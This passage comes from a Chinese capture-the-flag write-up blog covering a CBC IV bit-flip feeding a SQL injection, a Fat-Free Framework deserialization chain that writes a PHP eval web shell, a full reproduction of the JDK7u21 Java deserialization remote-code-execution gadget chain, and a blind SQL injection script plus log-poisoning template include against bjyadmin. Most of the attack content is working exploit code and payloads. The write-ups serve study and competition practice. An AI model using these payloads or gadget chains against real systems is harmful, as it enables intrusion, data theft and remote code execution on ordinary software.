setCache($username, $contents);
echo "<script>alert('缓存成功');location.href='index.php'</script>";
} else {
setcookie('cache');
$sql = "INSERT INTO notes (uid, contents, time) VALUES ((select id from users where username = '${username}'), '${contents}', localtime())";
echo $sql;
if ($conn->query($sql) === TRUE) {
echo "<script>alert('提交成功');location.href='index.php'</script>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
//TODO:删掉
}
}
}

如果我们能控制$data->contents == $_POST[‘contents’],且可以控制$data->username出现引号逃出引号的包围,就可以进行sql注入了。

而我们的缓存的加密函数是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class CBCCrypt {
private $iv;

private $encryptKey;

public function __construct()
{
$this->iv = "cbcisfunsoisbase";
$this->encryptKey = file_get_contents("secret.txt");
}

public function encrypt($encryptStr) {
$iv = $this->iv;
$encryptKey = $this->encryptKey;

$encrypted=openssl_encrypt($encryptStr, 'aes-128-cbc', $encryptKey, true, $iv);

return base64_encode($iv.$encrypted);

}

public function decrypt($encryptStr) {
$iv = substr(base64_decode($encryptStr),0,16);
$encryptKey = $this->encryptKey;
$encrypted = substr(base64_decode($encryptStr),16);
$decrypted = openssl_decrypt($encrypted, 'aes-128-cbc', $encryptKey, true, $iv);
echo openssl_error_string();

return $decrypted;
}
}

其中$iv是受到我们控制的

image12048

根据cbc加密的原理我们可以知道,通过修改iv从而修改初始的16个字符串

爆破合适iv的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

function strxor($str1,$str2){
$res="";
if(strlen($str1)!==strlen($str2))
return "";
for($i=0;$i<strlen($str1);$i++){
$res.=chr(ord($str1[$i])^ord($str2[$i]));
}
return $res;

}
$enc=urldecode("Y2JjaXNmdW5zb2lzYmFzZUDBRfKeIBJYWfSM2WOSqNOLdJ7UM1Nq%2B9zuKSrAr7O8%2B9AtpndZ00OlTIF0qmDsWw%3D%3D");
$cipher = substr($enc,16,16);
$message = substr('{"username":"fucker","contents":"fucker"}',0,16);
$iv = "cbcisfunsoisbase";
$before_xor=strxor($message,$iv);
for($i=0;$i<256;$i++){
$iv = "cbcisfunsoisbas".chr($i);
$result = strxor($iv,$before_xor);
if(strpos($result,"'")!==FALSE){
echo urlencode($iv);
echo "\n".$result;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import base64
import urllib
import random
session = requests.session()


def reg(session,username):
burp0_url = "http://100.100.1.5:80/ctf/register.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://100.100.1.5", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://100.100.1.5/ctf/register.html", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": "fuc"+username, "password": "fucker", "submit": "\xe6\xb3\xa8\xe5\x86\x8c"}
r=session.post(burp0_url, headers=burp0_headers, data=burp0_data)
if "注册成功" in r.text:
return True
else:
return False

def cache(session):
burp0_url = "http://100.100.1.5:80/ctf/notes.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://100.100.1.5", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://100.100.1.5/ctf/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"contents": "fffffffffffffffffffffffffffffffffff", "cache": ''}
r=session.post(burp0_url, headers=burp0_headers, data=burp0_data)
if "缓存成功" in r.text:
return True
return False

def submit(session,cookies):
burp0_url = "http://100.100.1.5:80/ctf/notes.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://100.100.1.5", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://100.100.1.5/ctf/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"contents": "fffffffffffffffffffffffffffffffffff", "submit": ''}
session.cookies = requests.utils.cookiejar_from_dict(cookies, cookiejar=None, overwrite=True)
r=session.post(burp0_url, headers=burp0_headers, data=burp0_data,cookies=cookies)
return r
def sqlinj(sql):
reg(session,sql)
cache(session)
cookie = session.cookies.get_dict()
cookie["cache"]=urllib.parse.quote_plus(str(base64.b64encode(b"cbcisfunsoisbas\x21"+base64.b64decode(urllib.parse.unquote(cookie["cache"]))[16:]),encoding="ascii"))
print(cookie)
r=submit(session,cookie)
return r
sql="or(updatexml(1,concat(0x7e,(select upload from users where username=0x61646D696E),0x7e),1))),0x666666666666,localtime())#dd"
r=sqlinj(sql)
print(r.text)
if "提交成功" not in r.text:
print(r.text)

上传名为file的文件,得到config/admin/secretpath/profile

结合include "config/${_SESSION['token']}/profile";从而getshell

token是base64编码,因此可以精心构造出admin/secretpath

由于没有题目环境便无法验证

web8

网络上找到了一个payload:http://igml.top/2020/08/21/2020-ciscn/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

namespace DB\Jig {
class Mapper
{
protected $db;
protected $file = 'gmmml.php';
protected $document = '<?php @eval($_POST[gml]);?>';

function __construct($db)
{
$this->db = $db;
}
}
}

namespace DB {
class Jig
{
protected $format = 0;
protected $dir = './';
}
}

namespace CLI {
class Agent
{
protected $server;

function __construct($server)
{
$this->server = $server;
}
}

class WS
{
protected $events;

function __construct($events)
{
$this->events = $events;
}
}
}

namespace {
class F3
{
public $events;

function __construct($events)
{
$this->events = $events;
}
}

$a = new DB\Jig();
$b = new DB\Jig\Mapper($a);
$c = new F3(array('disconnect' => array($b, "insert")));
$d = new CLI\Agent($c);
$e = new CLI\WS($d);
echo urlencode(serialize($e));

}

jdk7u21反序列化复现

JDK7u21反序列化链复现

exp:

1
2
3
4
5
6
7
public class jdk7u21 {
public static void main(String[] args) throws Exception {

TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
}

一步步调试发现在AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();弹出calc
image466
第380行是触发命令执行的点

newInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class instance {
static{
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String args[]){
try {
instance.class.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}

}
}


将恶意代码放在static或构造方法中便可以在初始化时执行恶意代码

getTransletInstance

逐句执行观察到命令执行的限制条件与getOutputProperties和newTransformer没有太大关系
在getTransletInstance中发现一系列的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;//TemplatesImpl._name!=null

if (_class == null) defineTransletClasses();//TemplatesImpl._class==null

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//_transletIndex在defineTransletClasses中定义
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

TemplatesImpl._name!=null和TemplatesImpl._class==null是执行到newInstance处的必要条件
而_transletIndex也是在defineTransletClasses中定义
跟进defineTransletClasses查找进一步的限制条件

defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {//_bytecodes!=null
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}//_class.superClass==com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

...
}
...
}

阅读代码发现_class[i] = loader.defineClass(_bytecodes[i]);加载了我们的恶意类,但是它必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
_bytecodes!=null
综上我们可以得知要执行到恶意代码的触发点需要满足以下条件

1
2
3
4
5
1. TemplatesImpl._name!=null
2. TemplatesImpl._class==null
3. _bytecodes!=null
4. 恶意类是`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`的子类
5. TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法(其他版本的限制条件)

关于第五点的相关代码是(与7u21略有不同):

1
2
3
4
5
6
7
8
9
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new
//限制条件4:TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
// 即需要是一个TransformerFactoryImpl类
TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

尝试自己写一个POC

Gadgets.createTemplatesImpl

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// unique name to allow repeated execution (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());//Sets the class name

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// classBytes});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
// Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

其中clazz是我们的恶意类装在templates的_bytecodes中,templates满足了其他的限制条件
这里用了javassist来构造我们的恶意类

javassist简介

https://www.cnblogs.com/rickiyang/p/11336268.html

1
2
3
4
5
6
7
8
9

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
clazz.makeClassInitializer()//Makes an empty class initializer (static constructor).
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");//在方法后面添加代码
clazz.setName("ysoserial.Pwner" + System.nanoTime());

自己实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class myjdk7u21 {
public static class evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Serializable{

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
public static void main(String args[]) throws NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(evil.class));
CtClass evilobj = pool.get(evil.class.getName());
evilobj.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
evilobj.setName("ccreater233"+System.nanoTime());

final TemplatesImpl tpl = new TemplatesImpl();
setField(TemplatesImpl.class,tpl,"_name","ccreater");
setField(TemplatesImpl.class,tpl,"_class",null);
setField(TemplatesImpl.class,tpl,"_bytecodes",new byte[][]{evilobj.toBytecode()});
tpl.getOutputProperties();

}
public static void setField(Class clazz,Object obj,String key,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = clazz.getDeclaredField(key);
field.setAccessible(true);
field.set(obj,value);
}
}

遇到的坑:evil记得声明为public,不然默认是private,就无法newInstance了

动态代理AnnotationInvocationHandler

利用动态代理来接近反序列化后直接RCE的目的

1
2
3
4
5
6
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,new HashMap());

TempInt proxy = (TempInt)Proxy.newProxyInstance(TempInt.class.getClassLoader(),new Class[]{TempInt.class},invocationHandler);
proxy.equals(tpl);

我们看下AnnotationInvocationHandler的构造方法

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}

type和memberValues皆可控

debug跟进
proxy.equals 调用了动态代理AnnotationInvocationHandler的invoke方法

1
2
3
4
5
6
7
8
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
...
}

方法名为equals且只有一个参数,这进入this.equalsImpl(var3[0]);

equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}...
}
}
}

在这个方法中调用了var8 = var5.invoke(var1);,相当于var1.var5(),其中var1是a.equals(b)中的b
var5是this.type的第一个方法(this.getMemberMethods()[0])
跟进getMemberMethods

1
2
3
4
5
6
7
8
9
10
11
12
13
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

也就是说我们可以通过控制this.type从而调用xx.equals(evilObj),来达到evilObj.AnyMethod()的效果
这也恰好符合了我们想调用evilObj.getOutputProperties()情况
最后选择了Templates,它的第一个方法是newTransformer,漏洞点在newTransformer中触发

LinkedHashSet反序列化调用equals

问我为啥知道这里可以,答:别人发现的
LinkedHashSet没有实现readObject方法而是调用了HashSet的readObject方法,既然如此,为啥不直接调用HashSet嘞
等下就知道了
HashSet::readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

跟进HashMap::put方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

我们看到key.equals(k)完美的符合了我们的预期
这里得是顺序调用才能常出现proxy.equals(evilObj),所以用了LinkedHashSet
但是在这之前我们要满足两个条件

  1. e.hash == hash即hash(proxy) == hash(evilObj)
  2. e.key!=key即proxy!=evilObj
    第二个条件很容易满足,第一个条件就GG了
    跟进int hash = hash(key);中的hash方法看一下发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

调用了key的hashCode方法,即进入了AnnotationInvocationHandler的invoke方法
见证奇迹的时刻:
在invoke中有这样的一句话:

1
2
if (var4.equals("hashCode")) {
return this.hashCodeImpl();

跟进hashCodeImpl

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}

我们关注var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
这相当于127*key.hashcode()^Arrays.hashCode((Object[])((Object[])value))
因为0^x=x,且优先级大于^,所以令key.hashcode()=0使得e.hash == hash最终变成
127
key.hashcode()^Arrays.hashCode((Object[])((Object[])value))=0^value.hashcode()==value.hashcode()
所以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;

import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;


public class myjdk7u21 {

public static class evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Serializable{

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

public static void main(String args[]) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(evil.class));
CtClass evilobj = pool.get(evil.class.getName());
evilobj.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
evilobj.setName("ccreater233"+System.nanoTime());

final TemplatesImpl tpl = new TemplatesImpl();
setField(TemplatesImpl.class,tpl,"_name","ccreater");
setField(TemplatesImpl.class,tpl,"_class",null);
setField(TemplatesImpl.class,tpl,"_bytecodes",new byte[][]{evilobj.toBytecode()});
//evil instance

//tpl.getOutputProperties();
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
HashMap map = new HashMap();
map.put("f5a5a608","23333");
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);

TempInt proxy = (TempInt)Proxy.newProxyInstance(TempInt.class.getClassLoader(),new Class[]{TempInt.class},invocationHandler);

HashSet a = new LinkedHashSet();
a.add(tpl);
a.add(proxy);
map.put("f5a5a608",tpl);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(a);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
//反序列化
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();

}
public static void setField(Class clazz,Object obj,String key,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = clazz.getDeclaredField(key);
field.setAccessible(true);
field.set(obj,value);
}
}

2020-QWB-final-bjyadmin

2020-QWB-final-bjyadmin

第一步sql注入

选手使用攻击机利用靶机中的sql注入漏洞获取bjyadmin框架路径

1
2
3
4
5
6
7
# mysql> select info from PROCESSLIST;
# +------------------------------+
# | info |
# +------------------------------+
# | select info from PROCESSLIST |
# +------------------------------+
# 1 row in set (0.00 sec)

利用processlist注出字段名,相关的介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
ip="192.168.10.110"
#http://101.133.129.243/
def inj(pos,guess):
# true: real-guess < 0
# false : guess <= real
burp0_url = "http://"+ip+"/?id=1'/(if(floor((SELECT(ord(right(left(group_concat(info),{POS}),1)))FROM(information_schema.PROCESSLIST))/{GUESS}),1,0))/'1".format(POS=pos,GUESS=guess)
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
r=requests.get(burp0_url, headers=burp0_headers,proxies={"http":"http://127.0.0.1:8080"})

if "Undefined variable: rows in" in r.text:
return True
return False
# "http://101.133.129.243:80/?id=1'/(if(floor((SELECT(ord(right(left(group_concat(schema_name),{POS}),1)))FROM(information_schema.schemata))/{GUESS}),1,0))/'1"
# database:2020qwbctf
# table_name:
result=""
pos=len(result)+1
while True:
min=32
max=128
print(result)
while True:
#time.sleep(1)

avr = int((min+max)/2)
print(avr)
if not inj(pos,avr):
if inj(pos,avr+1):
result+=chr(avr)
break
else:
min=avr
else:
max=avr
if max-min == 1:
if not inj(pos,min):
result+=chr(max)

else:
result+=chr(min)
break



pos+=1

bjyadmin

题目提供的附件和

https://github.com/baijunyao/thinkphp-bjyadmin

一摸一样

image2362

挨个看过去发现有一个容易令人忽略的漏洞(sxgg一眼看出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
namespace Home\Controller;
use Common\Controller\HomeBaseController;
/**
* Vue示例
*/
class VueController extends HomeBaseController{

/**
* 拦截空方法 自动加载html
* @param string $methed_name 空方法
*/
public function _empty($methed_name){
$this->display($methed_name);
exit(0);
}

/**
* 配合thinkphp分页示例
*/
public function page(){
// 获取总条数
$count=M('Province_city_area')->count();
// 每页多少条数据
$limit=200;
$page=new \Org\Nx\Page($count,$limit);
$data=M('Province_city_area')
->limit($page->firstRow.','.$page->listRows)
->select();
echo json_encode($data);
}

}

ThinkPHP Action中的_empty方法

_empty方法即空操作,当找不到请求的方法时,默认执行该方法,利用这个机制,我们可以实现错误页面和一些URL的优化。

1
2
3
4
>public function _empty($name)
>{
echo $name;
>}

参数name,即请求的方法名。如http://localhost/waimai/index.php/Index/sdfewsdf,不存在sdfewsdf方法时,会调用_empty方法,显示sdfewsdf.

当我们调用一个不存在的action时,它会display ($method) ,这将会造成任意模板调用

我们利用index.php?m=Home&c=Vue&a=evil_path来调用任意模板,我们可以利用日志文件作为模板文件从而RCE

最后的payload:

1
2
index.php/Home.php?m=Home&c=Vue&a=Runtime/Logs/User/20_09_17.log
index.php/Home/Vue/web_page&content=<?php/**/phpinfo();